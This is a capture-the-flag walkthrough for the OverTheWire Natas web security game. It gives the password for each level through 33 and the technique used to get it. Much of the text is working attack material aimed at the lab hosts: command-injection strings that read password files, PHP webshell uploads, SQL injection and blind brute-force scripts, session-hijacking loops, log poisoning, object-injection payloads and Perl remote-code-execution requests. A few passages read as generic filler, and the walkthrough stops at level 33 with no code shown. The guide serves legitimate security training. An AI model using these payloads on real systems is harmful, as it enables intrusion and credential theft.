Introduction
Check out the complete walkthrough for all the Natas CTF challenges, ranging from 1 to 34. Note that as of July 5, 2020, Challenge 34 is still in progress and considered a placeholder.
Natas is an exciting web application Capture The Flag (CTF) game available on OverTheWire’s platform.
To begin, access the starting point at http://natas0.natas.labs.overthewire.org. You can log in using the credentials natas0:natas0.”
Let’s Hack Natas
Before we get into the content, if you have any doubts you can comment down below 👇🏾
Natas 0
It sounds like a straightforward level. You’re provided with login details on the Natas Introduction Page. Simply open the URL and use these credentials:
Username: natas0 Password: natas0
Natas Level 0 → Level 1
To find the password, you’ll want to view the page source. This typically involves right-clicking on the webpage and selecting “View Page Source” or something similar depending on your browser.
Look through the HTML code for any hints or clues, as the password might be hidden within the code.
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
Natas Level 1 → Level 2
To find the password, you should open the webpage’s source code. This can usually be done by right-clicking on the webpage and selecting “View Page Source” from the menu.
Once you’re in the source code, look for any hints or text that might contain the password. It could be hidden within comments, JavaScript, or other parts of the code.
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
Natas Level 2 → Level 3
To locate the password, access the webpage’s source code. Within it, you might discover a folder named “/files/” in the web root directory. Inside this folder, there should be a file called “users.txt.”
Open this file to retrieve the password. It’s likely that the password is contained within the content of this text file.
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
Natas Level 3 → Level 4
To uncover the password, let’s follow these steps:
- Check the Source Page: Look for any hints or clues within the source code of the webpage that might suggest a connection with search engines.
- Explore robots.txt: Access the /robots.txt file on the website. This file often instructs search engines on what they can or cannot index. It might mention something about the /s3cr3t/ folder being disallowed from crawling.
- Access /s3cr3t/ folder: Once you find that /s3cr3t/ is disallowed in robots.txt, try accessing this folder directly from the browser. Inside this folder, there could be a file named user.txt containing the password. You can open this file to retrieve the password.
Remember, robots.txt is a file that guides search engine crawlers, and some information might be restricted or hidden based on its directives.
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Natas Level 4 → Level 5
To find the password, you’ll need to access the page using a specific Referrer (or Referee) header set to “http://natas5.natas.labs.overthewire.org/“.
This header indicates the webpage that directed you to the current page. By setting the Referrer to the specified URL, it might grant you access to the password on the page.
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Natas Level 5 → Level 6
The task here is to modify the “loggedin” cookie value to 1. After changing the cookie value to 1, you’ll need to refresh the page.
This action might grant you access to the password or certain restricted content on the webpage.
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Natas Level 6 → Level 7
First, check the source code of the page you’re on. It appears that the file “includes/secret.inc” is being included in the displayed page. Access this file separately to retrieve the secret.
Once you have the secret, input it into the designated area or field on the page. Submitting or entering the correct secret might reveal the password you’re looking for.
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Natas Level 7 → Level 8
It seems the page has an input parameter vulnerable to path traversal. In this case, we can attempt to set the “page” parameter to “/etc/natas_webpass/natas8” to potentially retrieve the password for level 8.
However, it’s important to note that inputting “/etc/natas_webpass/natas7” would allow you to find the password for the current page itself due to privilege limitations. Using other numbers might result in failure due to these privilege restrictions.
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Natas Level 8 → Level 9
Sure! The source page reveals that the secret is manipulated using a series of functions: bin2hex, strrev, and base64_encode, resulting in the string “3d3d516343746d4d6d6c315669563362”. To reverse this and retrieve the original secret:
- Use hex2bin, strrev, and base64_decode functions in PHP. Here’s an example:phpCopy code
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
- Once you retrieve the secret, input it into the designated area or field on the page. Submitting or entering the correct secret might reveal the password you’re looking for.
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Natas Level 9 → Level 10
It seems that the variable $key is susceptible to command injection. By inputting ; cat /etc/natas_webpass/natas10;
into the $key parameter, you might retrieve the password for natas10.
This input uses the semicolon to terminate the current command and execute the subsequent command, which in this case fetches the password for natas10 by reading the contents of the file “/etc/natas_webpass/natas10”.
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Natas Level 10 → Level 11
It seems that this challenge filters certain characters to prevent command injection, but we can use the grep
command to exploit it. By constructing a command using grep
with the intent to print the password, you can input c /etc/natas_webpass/natas11
to attempt to retrieve the password for natas11.
The grep
command combined with the inputted character ‘c’ and the file ‘/etc/natas_webpass/natas11’ aims to find any matching lines that contain ‘c’ within the password file, possibly revealing part of the password.
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Natas Level 11 → Level 12
According to the source page, the data stored in the cookie is “encrypted” by performing an XOR operation with a censored string referred to as $key. The default original data is a JSON-encoded array: array(“showpassword”=>”no”, “bgcolor”=>”#ffffff”).
To retrieve the $key:
- XOR the original string with the encrypted text stored in the cookie. This will help reveal the $key used for encryption.
<?php $originalString = json_encode(array( “showpassword”=>”no”, “bgcolor”=>”#ffffff”)); $cookieString = base64_decode(‘ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=’); echo $originalString ^ $cookieString;
The result obtained from XORing implies that the $key used in the xor_encrypt function is “qw8J,” repeated throughout the encryption process.
Now that we have the $key, we can construct our own data by setting the “showpassword” field to “yes.” This manipulated data can then be encrypted using the obtained $key to potentially gain access or manipulate functionalities on the page.
<?php $key = ‘qw8J’; $newString = json_encode(array( “showpassword”=>”yes”, “bgcolor”=>”#ffffff”)); $cookieData = ”; for ($i = 0; $i < strlen($newString); $i++) { $cookieData .= $key[$i % strlen($key)] ^ $newString[$i]; } echo base64_encode($cookieData);
Replace the data in the cookie with the string “ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK” and then reload the page.
This altered string seems to have been encrypted using the obtained $key. Reloading the page with this modified data in the cookie might grant you access to the password.
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Natas Level 12 → Level 13
According to the source page, the file extension of the uploaded file is extracted from the $_POST[“filename”]. This means that by uploading a file and setting the filename as any string ending with .php, you can upload a PHP file.
Within the PHP file, execute the code: echo exec("cat /etc/natas_webpass/natas13");
. This command reads the content of the file /etc/natas_webpass/natas13
.
Once you upload the PHP file, accessing that page might execute the code within the file and allow you to retrieve the password.
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Natas Level 13 → Level 14
This challenge involves an enhancement of Natas 12 where the system checks the EXIF image type. To bypass this check, create a PHP file that disguises itself as a JPEG file by adding a header to the PHP content.
Here’s an example of such a PHP file:
\0xFF\0xD8\0xFF\0xE0<?php echo exec('cat /etc/natas_webpass/natas14');?>
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Natas Level 14 → Level 15
To perform a simple SQL injection, set either the username or password field as " or 1=1 --
. This input manipulates the SQL query to make it return true for the condition 1=1
, effectively bypassing the authentication and potentially allowing access to the password.
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Natas Level 15 → Level 16
It seems that the username field in the source page is vulnerable to SQL injection. Additionally, the database only contains username and password fields, allowing us to perform a brute force attack on any password in the database, character by character.
An automated program can be created using a Depth-First Search (DFS) algorithm. This algorithm systematically tries different characters for the password, starting with the first character and moving forward until the entire password is obtained.
This method can help iterate through the possibilities and retrieve the password character by character.
import commands def search(password): if len(password) <= 32: words = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234568790” for c in words: newpassword = password + c sql = ‘curl -u natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J http://natas15.natas.labs.overthewire.org/index.php\?debug\=aa\&username\=\\\”%20or%20binary%20password%20like%20\\\”‘ + newpassword + ‘%’ return_code, output = commands.getstatusoutput(sql) if output.find(‘exists’) > 0: print(newpassword) search(newpassword) search(”)
Username: natas16 Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Natas Level 16 → Level 17
Get all characters except numbers:
$(expr substr $(cat /etc/natas_webpass/natas17) 1 1)
This command retrieves the first character from the password for natas17.
Find the common letter in the result (numbers will get no result): Determine the common letter in the obtained character. Get all numbers:
a{$(($(expr substr $(cat /etc/natas_webpass/natas17) 1 1)-6))}
This command calculates a value based on the first character minus 6 and converts that number to the character ‘a’ concatenated with the obtained value.
Try to modify “6” to make the result as “aa” (the real number is 8 in this example): By altering the subtraction value from 6 to achieve the result “aa”, the real number obtained is 8 in this instance.
Case of the letters: Retrieve the case of the letters used in the password for natas17.
a{$(($(expr index $(expr substr $(grep -i Englishing dictionary.txt) 2 4) $(expr substr $(cat /etc/natas_webpass/natas17) 21 1))+0))}
To achieve the final result for natas17: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw, here’s the process:
First, adjust the value of “21” to correspond to the index representing the letter in the range of 1 to 32. Following that, ensure that the term “Englishing” produces a single outcome and includes the specific letter, either G or g, which happens to be the 21st letter in the natas17 password.
Next, refine the combination “ngli” to match the previous letter of the target, converting it to either G or g.
Then, explore modifications for the values “0” or “2” to alter the outcome and align it with the desired result of “aa”. Afterward, evaluate if the retrieved letter corresponds to the correct case for the target letter.
Finally, through these adjustments and considerations, the final result for natas17 is obtained as: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Natas Level 17 → Level 18
To move from Natas Level 17 to Level 18, you’ll need to:
- Understand what you learned in Level 17.
- Look for any changes in Level 18’s challenges.
- Explore any new security measures or challenges presented.
- Use your knowledge of web security to solve the puzzles in Level 18.
- Test different approaches and inputs to find vulnerabilities.
- Keep an eye out for hints or clues provided in the game.
- Apply creative problem-solving to progress to the next level.
0:0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd (not this one)
1:MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2 (not this one)
2:VOFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD (not this one)
3:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP (Real password)
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Natas Level 18 → Level 19
import httplib,sys from base64 import b64encode def check(sessid): httpClient = None try: userAndPass = b64encode(b”natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP”).decode(“ascii”) cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Cookie’ : cookie } httpClient = httplib.HTTPConnection(‘natas18.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘GET’, ‘/index.php?debug=a’, headers=headers) response = httpClient.getresponse() responseData = response.read() if ‘regular’ in responseData: print ‘regular ‘+str(sessid) else: print responseData sys.exit() except Exception, e: print e finally: if httpClient: httpClient.close() def autocheck(): for i in range(0,641): check(i) autocheck()
Admin session ID: 138 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
Natas Level 19 → Level 20
import httplib,sys from base64 import b64encode from urllib import urlencode def check(sessid): httpClient = None try: userAndPass = b64encode(b”natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs”).decode(“ascii”) body=urlencode({‘username’ : ‘admin’ , ‘password’ : ‘aaa’ }) # username must be admin: it will affect how PHPSESSID is generated; password could be any string cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’ , ‘Cookie’ : cookie } httpClient = httplib.HTTPConnection(‘natas19.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘POST’, ‘/index.php?debug=a’ ,body=body,headers=headers) response = httpClient.getresponse() responseData = response.read() #print responseData if ‘regular’ in responseData: print ‘regular ‘+str(sessid) else: print responseData sys.exit() except Exception, e: print e finally: if httpClient: httpClient.close() def autocheck(): for i in range(0,1000): a = i/100 b = i/10-a*10 c = i%10 sessid=” if not a==0: sessid+=’3’+str(a) if not b==0: sessid+=’3’+str(b) if not c==0: sessid+=’3’+str(c) sessid+=’2d61646d696e’ check(sessid) autocheck()
Admin session ID: 38392d61646d696e (089)
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Natas Level 20 → Level 21
import httplib,sys from base64 import b64encode from urllib import urlencode def check(sessid): httpClient = None try: userAndPass = b64encode(b”natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF”).decode(“ascii”) body=urlencode({‘name’ : ‘whatevername\nadmin 1’}) cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’ , ‘Cookie’ : cookie } httpClient = httplib.HTTPConnection(‘natas20.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘POST’, ‘/index.php?debug=a’, body=body, headers=headers) response = httpClient.getresponse() responseData = response.read() print responseData except Exception, e: print e finally: if httpClient: httpClient.close() check(‘whateversessid’)
It seems like there’s a request for a specific injection method: “whatevername\nadmin 1”. It’s suggested to run the program twice – first with the mywrite command to inject the session and then with myread to set the admin status to 1. However, it’s mentioned that executing this in a web browser might not work as intended.
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
Natas Level 21 → Level 22
import httplib,sys from base64 import b64encode from urllib import urlencode sessid=’whateversessid’ httpClient = None try: userAndPass = b64encode(b”natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ”).decode(“ascii”) body=urlencode({‘submit’ : ‘a’, ‘admin’:’1′}) cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’ , ‘Cookie’ : cookie } httpClient = httplib.HTTPConnection(‘natas21-experimenter.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘POST’, ‘/index.php?debug=a’, body=body, headers=headers) response = httpClient.getresponse() responseData = response.read() print responseData except Exception, e: print e finally: if httpClient: httpClient.close() httpClient = None try: userAndPass = b64encode(b”natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ”).decode(“ascii”) cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’ , ‘Cookie’ : cookie } httpClient = httplib.HTTPConnection(‘natas21.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘GET’, ‘/index.php’, headers=headers) response = httpClient.getresponse() responseData = response.read() print responseData except Exception, e: print e finally: if httpClient: httpClient.close()
Two websites are using the same session information, likely indicating that when a user logs into one of these websites, the session remains active and accessible when navigating to the other website.
This behavior suggests a shared session mechanism between the two sites, allowing seamless access without reauthentication.
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
Natas Level 22 → Level 23
import httplib,sys from base64 import b64encode from urllib import urlencode httpClient = None try: userAndPass = b64encode(b”natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ”).decode(“ascii”) #body=urlencode({‘submit’ : ‘a’, ‘admin’:’1′}) #cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’ }#, ‘Cookie’ : cookie } httpClient = httplib.HTTPConnection(‘natas22.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘GET’, ‘/index.php?revelio=a’, headers=headers) response = httpClient.getresponse() responseData = response.read() print responseData except Exception, e: print e finally: if httpClient: httpClient.close()
The program doesn’t consider the significance of a “Location.” 😄
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
Natas Level 23 → Level 24
Hint: 11iloveyou
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
Natas Level 24 → Level 25
The URL provided, “http://natas24.natas.labs.overthewire.org/?passwd[]=1,” exploits the behavior of the strcmp function. When comparing an array with a string, strcmp might return 0, leading to an exception or unexpected behavior.
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
Natas Level 25 → Level 26
import httplib,sys from base64 import b64encode from urllib import urlencode sessid=’whateversessid’ langstr=’….//….//….//….//….//var/www/natas/natas25/logs/natas25_whateversessid.log’ httpClient = None try: userAndPass = b64encode(b”natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c”).decode(“ascii”) cookie = ‘PHPSESSID=’+str(sessid) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’ , ‘Cookie’ : cookie , ‘User-Agent’ : ‘<? passthru(“cat /etc/natas_webpass/natas26”) ?>’} httpClient = httplib.HTTPConnection(‘natas25.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘GET’, ‘/index.php?lang=’+langstr, headers=headers) response = httpClient.getresponse() responseData = response.read() print responseData except Exception, e: print e finally: if httpClient: httpClient.close()
The sequence “….//” transforms into “../” after passing through the first filter. However, the second filter blocks this sequence. To bypass this restriction, utilize the User-Agent field to execute code or perform certain actions.
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
Natas Level 26 → Level 27
PHP Object Injection
Build a php and execute:
<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ // initialise variables $this->initMsg=”#–session started–#\n”; $this->exitMsg=”<?php include_once(‘/etc/natas_webpass/natas27’);?>”; $this->logFile = “img/output.php”; } } $output[]=new Logger(); echo base64_encode(serialize($output)); ?>
Important: Ensure that the output string, once base64 encoded, doesn’t contain “=” signs for it to be accepted properly.
Here’s the output string:
YToxOntpOjA7Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxNjoiaW1nL3doYXRpc2l0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjIyOiIjLS1zZXNzaW9uIHN0YXJ0ZWQtLSMKIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NDY6Ijw/cGhwIGluY2x1ZGUoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7Pz4iO319
Then, send this string as “drawing” within the Cookie. The server will unserialize it, considering it as a Logger. Upon the automatic execution of the destruct function, it will create a PHP script to display the password file.
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
Natas Level 27 → Level 28
Here are two approaches to solve the problem:
- Method One: Random Insertions: Continuously insert data using the username “natas28” along with a password. Since the database clears data every 5 minutes, there’s a chance that an insertion might succeed eventually. After inserting, query the database using the inserted username and password combination to retrieve the real password. However, this method relies on luck for a successful insertion.
- Better Approach: Padding Username: Create an insertion with the username “natas28” followed by more than 57 spaces and then add the term “whatever” (ensuring the total length of the username is over 64 characters). Include a password with this entry. Next, perform a query using “natas28” and the password provided during the insertion. This query will help retrieve the actual password. This method ensures a more systematic approach to exploit the vulnerability. For more details, refer to the source link provided: http://r4stl1n.github.io/2014/12/30/OverTheWire-Natas25-28.html.
Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
Natas Level 28 → Level 29
A chosen-plaintext attack involves manipulating data before encryption to try and uncover weaknesses in how it’s encrypted. For AES in ECB mode, this attack targets how specific patterns in plaintext blocks are encrypted.
On the other hand, SQL injection is a vulnerability where attackers insert malicious code into input fields. This allows them to manipulate SQL queries executed by an application. When combined, these attacks can exploit encryption weaknesses and compromise data security.
import httplib,sys,binascii from base64 import b64encode,b64decode from urllib import quote,unquote def check(query): query=quote(query) httpClient = None try: userAndPass = b64encode(b”natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF”).decode(“ascii”) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’} httpClient = httplib.HTTPConnection(‘natas28.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘GET’, ‘/index.php?query=’+query, headers=headers) response = httpClient.getresponse() #responseData = response.read() result = response.getheader(‘Location’) return binascii.b2a_hex(b64decode(unquote(result[result.find(‘query=’)+6:]))) except Exception, e: print e finally: if httpClient: httpClient.close() def outputhex(str): i=0 newStr=” for c in str: i+=1 if i%32==0: newStr+=c+’ ‘ else: newStr+=c print newStr def xorInside(str1,str2): first=str1.decode(‘hex’) second=str2.decode(‘hex’) newStr=” for i in range(0,16): newStr+= chr(ord(first[i])^ord(second[i])) return binascii.b2a_hex(newStr) def autocheck(): a=” b=” for i in range(1,80): a+=’a’ b+=’b’ outputhex(check(a)) outputhex(check(b)) autocheck()
- The original input undergoes an escaping process to ensure it’s secure for handling.
- The message to be encrypted consists of a prefix of 38 characters, followed by the escaped message, then a suffix of 30 characters, and potentially padding using the PKCS#7 standard.
- AES in ECB mode encrypts this constructed message to create an encrypted message.
- The encrypted message is then converted into a Base64 format.
- Finally, the constructed message is sent via an HTTP GET request to a specific URL endpoint.
The constructed URL might look like this: http://natas28.natas.labs.overthewire.org/search.php/index.php?query=Message_to_send
How to get a “‘ or 1=1 — “: 1. query “aaaaaaaaaa”+”x or 1=1 — bbbb”+”aa” (a,b and x can be any normal char) 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 2915fe89fae53f38df4c947acd65adde ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 2. query “aaaaaaaaa” +”‘ or 1=1 — bbbb”+”aa” 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 11dbb80ae02425dc9726bffd1803160e 42094fd365d8e79ba6bbbe58b962416b ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 since ‘ is replaced to \’, I removed one “a” in the left string to make the \ be in the same group of the nine “a”. The new message is Prefix[32] | Prefix[6] + “aaaaaaaaa” + “\” | “‘ or 1=1 — bbbb” | “aa” + Suffix[30] (No padding because the last group is full) As a result, the encryption of “‘ or 1=1 — bbbb” is 42094fd365d8e79ba6bbbe58b962416b 3. place it as the fourth group in the first query instead of the previous one, base64 the result and send it
Let’s move on:
1. try “‘ union select 1 from users — ” (“aaaaaaaaa”+”‘ union select 1″+” from users — b”+”bbbbbbbbbbbbbbbb”+”aa”) return 1, which means that the table “users” exists 2. try “‘ union select password from users — ” (“aaaaaaaaa”+”‘ union select p”+”assword from use”+”rs — bbbbbbbbbb”+”aa”) got the password!
import httplib,sys,binascii from base64 import b64encode,b64decode from urllib import quote,unquote def check(query): query=quote(query) httpClient = None try: userAndPass = b64encode(b”natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF”).decode(“ascii”) headers = { ‘Authorization’ : ‘Basic %s’ % userAndPass , ‘Content-Type’: ‘application/x-www-form-urlencoded’} httpClient = httplib.HTTPConnection(‘natas28.natas.labs.overthewire.org’, 80, timeout=300) httpClient.request(‘GET’, ‘/index.php?query=’+query, headers=headers) response = httpClient.getresponse() #responseData = response.read() result = response.getheader(‘Location’) return binascii.b2a_hex(b64decode(unquote(result[result.find(‘query=’)+6:]))) except Exception, e: print e finally: if httpClient: httpClient.close() def outputhex(str): i=0 newStr=” for c in str: i+=1 if i%32==0: newStr+=c+’ ‘ else: newStr+=c print newStr print “<br/>” def xorInside(str1,str2): first=str1.decode(‘hex’) second=str2.decode(‘hex’) newStr=” for i in range(0,16): newStr+= chr(ord(first[i])^ord(second[i])) return binascii.b2a_hex(newStr) def autocheck(): a=” b=” for i in range(1,80): a+=’a’ b+=’b’ outputhex(check(a)) outputhex(check(b)) #sql=”aaaaaaaaa”+”‘ or 1=1 — bbbb”+”bbbbbbbbbbbbbbbb”+”bbbbbbbbbbbbbbbb”+”aa” #sql= “aaaaaaaaa”+”‘ union select 1″+” from users — b”+”bbbbbbbbbbbbbbbb”+”aa” sql= “aaaaaaaaa”+”‘ union select p”+”assword from use”+”rs — bbbbbbbbbb”+”aa” print binascii.b2a_hex(sql) outputhex(check(sql)) sqlinj=check(sql) sqlinj =’1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39e’ #sqlinj+=’42094fd365d8e79ba6bbbe58b962416b’+’88a7bd72cda247dae1c3219f054b2e60’+’88a7bd72cda247dae1c3219f054b2e60′ #sqlinj+=’9ae5ffe4df58364079bd3029586df0d6’+’2730431c345fce894d727ac6b56a6762’+’88a7bd72cda247dae1c3219f054b2e60′ sqlinj+= ‘f89dd8dbec15c6a6d9993a3dc7b7a308’+’86951754f7ad56454eb5d5b6768ee646’+’b65a5da3890587484e1107767874df16’ sqlinj+=’ce82a9553b65b81280fb6d3bf2900f4775fd5044fd063d26f6bb7f734b41c899′ print quote(b64encode(sqlinj.decode(‘hex’))) #autocheck()
Password: airooCaiseiyee8he8xongien9euhe8b
Natas Level 29 → Level 30
In Perl, there’s a unique Remote Code Execution (RCE) technique involving the open() function. Unlike a typical command injection, here, the filename used in open() can be seen as a command. The pipe character ‘|’ can activate this special mode, enabling the execution of commands.
On this specific page, the ‘file’ parameter is vulnerable to injection. Injecting payloads such as ‘|id%00’ or ‘|id%26%26false%26%26’ can lead to achieving Remote Code Execution (RCE). However, it’s crucial to acknowledge that the page filters out the string ‘natas,’ necessitating a workaround.
One potential solution involves using adjustments to bypass the ‘natas’ filter and successfully execute the desired command.
http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/na“tas_webpass/na“tas30%00
Password: wie9iexae0Daihohv8vuu3cei9wahf0e
Natas Level 30 → Level 31
The quote() function, when used with a list argument, causes SQL injection. This function interprets the second item in the list as an option parameter, specifying the type of the first item. If the first item isn’t a string type, it returns the value without any quotation. By leveraging CGI that passes two URL parameters as a list argument, we can insert the injection string as the first parameter and use ‘4’ to indicate SQL_INTEGER as the second parameter, as per the SQL DATA TYPE CODES.
Here’s an example of a working POST request body:
username=abcd&password=’abcd’ or 1=1&password=2
(2 refers to SQL_NUMERIC
)
Password: hay7aecuungiuKaezuathuk9biin0pu1
Natas Level 31 → Level 32
Perl CGI poses challenges with functions like upload(), param(), and <>.The Perl Jam 2 thoroughly explains the intricacies of these issues, spanning pages 21 to 31. A copy of the PDF detailing these concerns is available for reference.
To make a POST request function properly, it should follow the prescribed format and parameters.
POST /index.pl?/etc/natas_webpass/natas32 HTTP/1.1 Host: natas31.natas.labs.overthewire.org Content-Length: 348 Cache-Control: max-age=0 Authorization: Basic bmF0YXMzMTpoYXk3YWVjdXVuZ2l1S2FlenVhdGh1azliaWluMHB1MQ== Origin: http://natas31.natas.labs.overthewire.org Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryFgVNNE987xWnwuo7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,und;q=0.8 Connection: close ——WebKitFormBoundaryFgVNNE987xWnwuo7 Content-Disposition: form-data; name=”file” ARGV ——WebKitFormBoundaryFgVNNE987xWnwuo7 Content-Disposition: form-data; name=”file”; filename=”abc” abcde ——WebKitFormBoundaryFgVNNE987xWnwuo7 Content-Disposition: form-data; name=”submit” Upload ——WebKitFormBoundaryFgVNNE987xWnwuo7–
Password: no1vohsheCaiv3ieH4em1ahchisainge
Natas Level 32 → Level 33
Similar to the prior challenge, a slight adjustment can transform it into a Remote Code Execution (RCE) vulnerability.
POST /index.pl?[code] HTTP/1.1 Host: natas32.natas.labs.overthewire.org Content-Length: 384 Cache-Control: max-age=0 Authorization: Basic bmF0YXMzMjpubzF2b2hzaGVDYWl2M2llSDRlbTFhaGNoaXNhaW5nZQ== Origin: http://natas32.natas.labs.overthewire.org Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryRBTu3E1JQ8QW7zwK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,und;q=0.8 Connection: close ——WebKitFormBoundaryRBTu3E1JQ8QW7zwK Content-Disposition: form-data; name=”file” ARGV ——WebKitFormBoundaryRBTu3E1JQ8QW7zwK Content-Disposition: form-data; name=”file”; filename=”abc” Content-Type: text/plain abcde ——WebKitFormBoundaryRBTu3E1JQ8QW7zwK Content-Disposition: form-data; name=”submit” Upload ——WebKitFormBoundaryRBTu3E1JQ8QW7zwK–
To execute commands in this challenge, the code mentioned should resemble “code%20to%20execute%20|”.
To tackle this challenge:
- First, execute “ls%20.%20|” to locate a binary named “getpassword” in the same folder.
- Next, execute “./getpassword%20|” to retrieve the password.
As an additional consideration, the “getpassword” file has permissions set as “-rwsrwx—” for the user:group “root:natas32.”
This suggests that the current user might modify the executable and potentially elevate privileges to access sensitive information. However, attempts to execute commands to alter it may have limitations or restrictions that need further exploration.
Password: shoogeiGa2yee3de6Aex8uaXeech5eey
Natas Level 33 → Level 34
According to the source code, the md5_file() function directly accepts user input as a filename parameter, making it vulnerable to PHP Object Injection as described in Phar Deserialization.
In essence, when md5_file() is provided a parameter in the format ‘phar://[phar_file].phar’, it deserializes the object within the phar’s Metadata, invoking the functions __destruct() and __wakeup() for specified classes. This allows manipulation of variables within the classes to arbitrary values. You can find a list of vulnerable functions at this link.
For this challenge, crafting a phar file, uploading it to the server, and passing its path to the md5_file() function can exploit this bug. It triggers the execution of the __destruct() function under the Executor class.
To bypass the if clause and reach the passthru() function, we need to manipulate the filename and signature variables by injecting a PHP object of the Executor class. The following PHP code generates the crafted phar file.
